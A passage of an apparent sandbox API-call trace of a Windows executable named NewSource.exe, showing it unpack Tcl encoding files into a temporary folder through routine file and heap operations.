SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a1b37, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.616] htonl (hostlong=0xa020000) returned 0x20a [0036.616] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20a) returned 0x550600 [0036.616] htonl (hostlong=0xa020000) returned 0x20a [0036.616] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.616] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.616] htonl (hostlong=0x47040000) returned 0x447 [0036.616] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x447) returned 0x55e278 [0036.616] htonl (hostlong=0xa020000) returned 0x20a [0036.617] htonl (hostlong=0x47040000) returned 0x447 [0036.617] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.617] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.617] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.617] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.617] CloseHandle (hObject=0x10c) returned 1 [0036.617] GetLastError () returned 0x0 [0036.617] SetLastError (dwErrCode=0x0) [0036.617] GetLastError () returned 0x0 [0036.617] SetLastError (dwErrCode=0x0) [0036.617] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.617] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.617] GetFileType (hFile=0x10c) returned 0x1 [0036.617] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.617] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.617] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.617] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.617] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.617] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.617] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.617] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.617] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.617] CloseHandle (hObject=0x10c) returned 1 [0036.617] GetLastError () returned 0x0 [0036.617] SetLastError (dwErrCode=0x0) [0036.617] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.618] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.618] GetFileType (hFile=0x10c) returned 0x1 [0036.618] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.618] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.618] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.618] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.618] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.618] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.618] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.618] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.618] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.618] CloseHandle (hObject=0x10c) returned 1 [0036.618] GetLastError () returned 0x0 [0036.618] SetLastError (dwErrCode=0x0) [0036.618] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-15.enc") returned 73 [0036.618] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-15.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-15.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.618] GetLastError () returned 0x2 [0036.618] SetLastError (dwErrCode=0x2) [0036.618] GetLastError () returned 0x2 [0036.618] SetLastError (dwErrCode=0x2) [0036.618] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-15.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-15.enc", lpFilePart=0x0) returned 0x48 [0036.618] GetLastError () returned 0x2 [0036.618] SetLastError (dwErrCode=0x2) [0036.618] GetLastError () returned 0x2 [0036.618] SetLastError (dwErrCode=0x2) [0036.618] GetLastError () returned 0x2 [0036.619] SetLastError (dwErrCode=0x2) [0036.619] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-15.enc") returned 73 [0036.619] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.619] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-15.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-15.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.619] GetFileType (hFile=0x10c) returned 0x1 [0036.619] htonl (hostlong=0x47040000) returned 0x447 [0036.619] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.619] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x447, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x447, lpOverlapped=0x0) returned 1 [0036.620] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.621] CloseHandle (hObject=0x10c) returned 1 [0036.621] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.621] htonl (hostlong=0x30000000) returned 0x30 [0036.621] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.621] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.621] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.621] GetFileType (hFile=0x10c) returned 0x1 [0036.621] htonl (hostlong=0x416d5500) returned 0x556d41 [0036.621] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a1d41, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.621] htonl (hostlong=0x1d020000) returned 0x21d [0036.621] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x21d) returned 0x550600 [0036.621] htonl (hostlong=0x1d020000) returned 0x21d [0036.622] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.622] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.622] htonl (hostlong=0x47040000) returned 0x447 [0036.622] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x447) returned 0x55e278 [0036.622] htonl (hostlong=0x1d020000) returned 0x21d [0036.622] htonl (hostlong=0x47040000) returned 0x447 [0036.622] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.622] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.622] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.622] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.622] CloseHandle (hObject=0x10c) returned 1 [0036.622] GetLastError () returned 0x0 [0036.622] SetLastError (dwErrCode=0x0) [0036.622] GetLastError () returned 0x0 [0036.622] SetLastError (dwErrCode=0x0) [0036.622] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.622] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.622] GetFileType (hFile=0x10c) returned 0x1 [0036.622] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.622] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.622] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.622] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.622] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.622] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.622] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.622] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.623] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.623] CloseHandle (hObject=0x10c) returned 1 [0036.623] GetLastError () returned 0x0 [0036.623] SetLastError (dwErrCode=0x0) [0036.623] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.623] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.623] GetFileType (hFile=0x10c) returned 0x1 [0036.623] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.623] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.623] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.623] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.623] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.623] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.623] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.623] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.623] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.623] CloseHandle (hObject=0x10c) returned 1 [0036.637] GetLastError () returned 0x0 [0036.637] SetLastError (dwErrCode=0x0) [0036.637] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-16.enc") returned 73 [0036.637] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-16.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-16.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.637] GetLastError () returned 0x2 [0036.637] SetLastError (dwErrCode=0x2) [0036.637] GetLastError () returned 0x2 [0036.637] SetLastError (dwErrCode=0x2) [0036.637] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-16.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-16.enc", lpFilePart=0x0) returned 0x48 [0036.637] GetLastError () returned 0x2 [0036.637] SetLastError (dwErrCode=0x2) [0036.637] GetLastError () returned 0x2 [0036.637] SetLastError (dwErrCode=0x2) [0036.637] GetLastError () returned 0x2 [0036.637] SetLastError (dwErrCode=0x2) [0036.637] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-16.enc") returned 73 [0036.638] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.638] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-16.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-16.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.638] GetFileType (hFile=0x10c) returned 0x1 [0036.639] htonl (hostlong=0x47040000) returned 0x447 [0036.639] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.639] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x447, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x447, lpOverlapped=0x0) returned 1 [0036.640] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.640] CloseHandle (hObject=0x10c) returned 1 [0036.640] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.640] htonl (hostlong=0x30000000) returned 0x30 [0036.640] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.640] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.640] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.640] GetFileType (hFile=0x10c) returned 0x1 [0036.640] htonl (hostlong=0x5e6f5500) returned 0x556f5e [0036.640] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a1f5e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.641] htonl (hostlong=0x1a020000) returned 0x21a [0036.641] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x21a) returned 0x550600 [0036.641] htonl (hostlong=0x1a020000) returned 0x21a [0036.641] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.641] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.641] htonl (hostlong=0x46040000) returned 0x446 [0036.641] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x446) returned 0x55e278 [0036.641] htonl (hostlong=0x1a020000) returned 0x21a [0036.641] htonl (hostlong=0x46040000) returned 0x446 [0036.641] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.641] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.641] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.641] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.641] CloseHandle (hObject=0x10c) returned 1 [0036.641] GetLastError () returned 0x0 [0036.641] SetLastError (dwErrCode=0x0) [0036.641] GetLastError () returned 0x0 [0036.641] SetLastError (dwErrCode=0x0) [0036.641] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.641] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.641] GetFileType (hFile=0x10c) returned 0x1 [0036.641] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.641] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.641] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.641] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.641] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.641] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.642] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.642] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.642] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.642] CloseHandle (hObject=0x10c) returned 1 [0036.642] GetLastError () returned 0x0 [0036.642] SetLastError (dwErrCode=0x0) [0036.642] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.642] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.642] GetFileType (hFile=0x10c) returned 0x1 [0036.642] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.642] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.642] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.642] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.642] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.642] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.642] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.642] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.643] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.643] CloseHandle (hObject=0x10c) returned 1 [0036.643] GetLastError () returned 0x0 [0036.643] SetLastError 